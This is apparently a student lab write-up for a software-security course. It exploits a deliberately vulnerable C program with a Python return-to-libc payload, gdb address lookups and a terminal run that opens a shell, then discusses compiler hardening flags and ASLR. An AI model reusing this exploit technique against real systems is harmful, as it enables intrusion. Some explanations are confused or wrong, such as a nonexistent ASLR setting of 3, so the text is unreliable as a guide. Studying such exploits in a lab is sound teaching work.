

This is our original code:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void get_name(char *input){
    long canary= 0xD0C0FFEE;
    char buf[16];
    char out[] = "/bin/sh";
    system("/bin/ls");
    strcpy(buf,input);
    printf("Hi %s!, can you make me run %s ?\n", buf, out);
    if (canary != 0xD0C0FFEE)
        exit(1);
}

int main(int argc, char **argv){
    if(argc<2)
    {
        printf("Usage:\n%s your_name\n", argv[0]);
        return EXIT_FAILURE;
    }
    get_name(argv[1]);
    return EXIT_SUCCESS;
}
```

This is the script that I've used to generate the payload for our program.

```
a = 'A'*16
canary = "\xEE\xFF\xC0\xD0"
system = "\xE0\xED\x04\x08"
exit = '\xE0\xE2\x04\x08'
binsh = '\x40\xBD\x0B\x08'

print a + canary + 'A'*12 + system + exit + binsh
```

The justification for using the script is as follows.

Our buffer size is 16 bytes that's why we're putting those garbage A's in the buffer. Above the buffer we've canary. We're using a constant canary here so we don't want to modify those canary so we'll keep that as it is. Since x86 follows the Little endian encoding scheme we've written the canary in the same manner.

Now by trial and error (by putting 16 A's inside after the canary, the segmentation fault returns the address 0x41414141 which denotes that the return address has been changed.), the return address was found at an offset of 12 bytes from the value of esp just before the return instruction while disassembling. So in order to subvert the execution to system we've padded 12 bytes of character so that the return address is now changed to system.

System function also needs a return address. So we've put the address of the exit function as the return address for the system for graceful exit.

Finally we've put the arguments for the system function which is found inside the statically linked library. We've put the address of "/bin/sh" as an argument for system.

```
(gdb) p system
$1 = {<text variable, no debug info>} 0x804ede0 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x804e2e0 <exit>
(gdb) info proc map
process 22451
Mapped address spaces:

   Start Addr   End Addr   Size   Offset objfile
   0x8048000   0x80e9000   0xa1000 0x0    /home/sse/Documents/SSE/Assignment/cs6570_assignment_2_password_1234/assignment_2
   0x80e9000   0x80eb000   0x2000 0xa000 /home/sse/Documents/SSE/Assignment/cs6570_assignment_2_password_1234/assignment_2
   0x80eb000   0x810f000   0x24000 0x0    [heap]
   0xf7ff9000  0xf7ffc000   0x3000 0x0    [vvar]
   0xf7ffc000  0xf7ffe000   0x2000 0x0    [vdso]
   0xffffd000  0xffffe000   0x21000 0x0    [stack]
(gdb) find 0x8048000, 0x80eb000, "/bin/sh"
0x80bbd40
1 pattern found.
```

I've redirected the output of this script to file payload. Then ran this program on input payload, it executed the shell successfully.

```
sse@sse_vn:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ python python.py > payload
sse@sse_vn:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ cat payload
AAAAAAAAAAAAAAAAAAAAAA♦♦♦♦AAAAAAAAAAAAAAAA♦♦♦♦@

sse@sse_vn:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ ./assignment_2 $(cat payload)
a      assignment_2.c      assignment_2 (copy).c      Makefile      output      python.py
assignment_2      assignment_2 (copy)      CS6570_Assignment-2.md.pdf      notes      payload      Unmodified
Hi AAAAAAAAAAAAAAAAAAAAAAA♦♦♦♦AAAAAAAAAAAAAAAA♦♦♦♦@
!, can you make me run /bin/sh ?
$ echo $0
/bin/sh
$
```

Q. Are there vulnerabilities present in the provided code? If yes, then why do they exist? How can they be fixed?

Answer:

There are two vulnerabilities which are present in the program.

1. Canary is constant

```
4
5 void get_name(char *input){
6     long canary= 0xD0C0FEE;
7 }
```

Now the buffer size is not enough for the size of the exploit string so this attack won't work as evident from the screenshot pasted above.

Q. How do the gcc flags (in Makefile) affect how “secure” the binary is?

Flags which we use while compiling affect the security of our program binary to a good extent. These can add additional security to our binary. Some of them are listed below.

1. -fstack-protector

This flag is used to add canaries in our program to protect against buffer overflow attacks. We've used -fno-stack-protector in our code so that we can intentionally exploit the code. If we use -fstack-protector while compiling we can detect buffer overflow

```
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ gcc assignment_2.c -fstack-protector -o a
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ ./a $(python python.py)
a assignment_2 assignment_2.c assignment_2 (copy) CS6570_Assignment-2.md.pdf Makefile notes output payload python.py
Hi AAAAAAAAAAAAAAAAAAAAAAA*****AAAAAAAAAAAAAAAA*****
! , can you make me run /bin/sh ?
*** stack smashing detected ***: ./a terminated
Aborted (core dumped)
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$
```

It detected the buffer overflow and displays the message *stack smashing detected*.

2. -z noexecstack

Note: Not used in the assignment make file

This will make our stack non executable. Now the attacker won't be able to execute its code on the stack as this flag disables execution of code on stack.

The code mentioned in the assignment doesn't execute any code on the stack so even if we enable this flag on our program, it won't be able to prevent the attack.

```
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ gcc assignment_2.c -fno-stack-protector -z noexecstack -o a
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ ./a $(cat payload)
a assignment_2.c assignment_2 (copy).c Makefile output python.py
assignment_2 assignment_2 (copy) CS6570_Assignment-2.md.pdf notes payload Unmodified
Hi AAAAAAAAAAAAAAAAAAAAAAA*****AAAAAAAAAAAAAAAA*****@
! , can you make me run /bin/sh ?
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$
```

3. -fpie

Note: fpie is not used in the makefile of this assignment, but I felt this is important and can improve the security of our program.

This is used for enabling position independent code. This ensures that our binary code can be loaded anywhere in the memory. ASLR bypass attacks are not possible with this because the address of Gadgets won't be the same.

```
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ gcc assignment_2.c -fno-stack-protector -fPIE -o a
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ ./a $(cat payload)
a assignment_2.c assignment_2 (copy).c Makefile output python.py
assignment_2 assignment_2 (copy) CS6570_Assignment-2.md.pdf notes payload Unmodified
Ht AAAAAAAAAAAAAAAAAAAAAA++++AAAAAAAAAAAAAAAA++++@
t, can you make me run /bin/sh ?
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$
```

For enabling the fpie in the program we've to enable ASLR in our system.

ALSR randomizes the memory layout of our program. So the attacker cannot predict the location of functions and variables. Enabling PIE supports ALSR by creating position independent code.

For enabling the ASLR in our system we've to make some changes in the `/proc/sys/kernel/randomize_va_space` file. A value of 0 indicates that the ASLR is disabled in our program. A value of 1 indicates that ASLR is enabled and the stack, VDSO and shared memory regions are randomized but the data segment will be after the executable code segment. A value of 3 allows whatever the value of 2 allows along with a randomized address for the data segment.

```
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ cat /proc/sys/kernel/randomize_va_space
0
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ sudo bash -c 'echo 2 > /proc/sys/kernel/randomize_va_space'
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ cat /proc/sys/kernel/randomize_va_space
2
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$
```

This will enable ASLR in the system.

4. -d fortify source = 3

Note: This flag also isn't mentioned in the makefile of current assignment, but I got to know about this after reading from some blogs, so I've mentioned it here and the source from where I've read about its parameters.

This will allow checks to be performed on general buffer overflow attacks on various string and manipulation functions. [\[source\]](#)

```
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ gcc assignment_2.c -fno-stack-protector -D_FORTIFY_SOURCE=3 -o a
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$ ./a $(cat payload)
a      assignment_2.c      assignment_2 (copy).c      Makefile      output      python.py
assignment_2 assignment_2 (copy) CS6570_Assignment-2.md.pdf notes      payload      Unmodified
Hi AAAAAAAAAAAAAAAAAAAAAAA*****AAAAAAAAAAAAAAAA*****@
!, can you make me run /bin/sh ?
sse@sse_vm:~/Documents/SSE/Assignment/cs6570_assignment_2_password_1234$
```

Here we're not executing anything on the stack so this flag is not detecting any buffer overflow attack also even after enabling this flag it is not able to detect the exploit on strcpy function.

Instead of `strcpy`, we should use a more secure version of string copy functions like `strncpy` and `strcpy_s` (string copy secure).

5. -static

When the `-static` flag is used while compiling, the linker puts all the necessary libraries directly into the executable. Because of this the size of the executable becomes large, but not the program doesn't depend on any other libraries.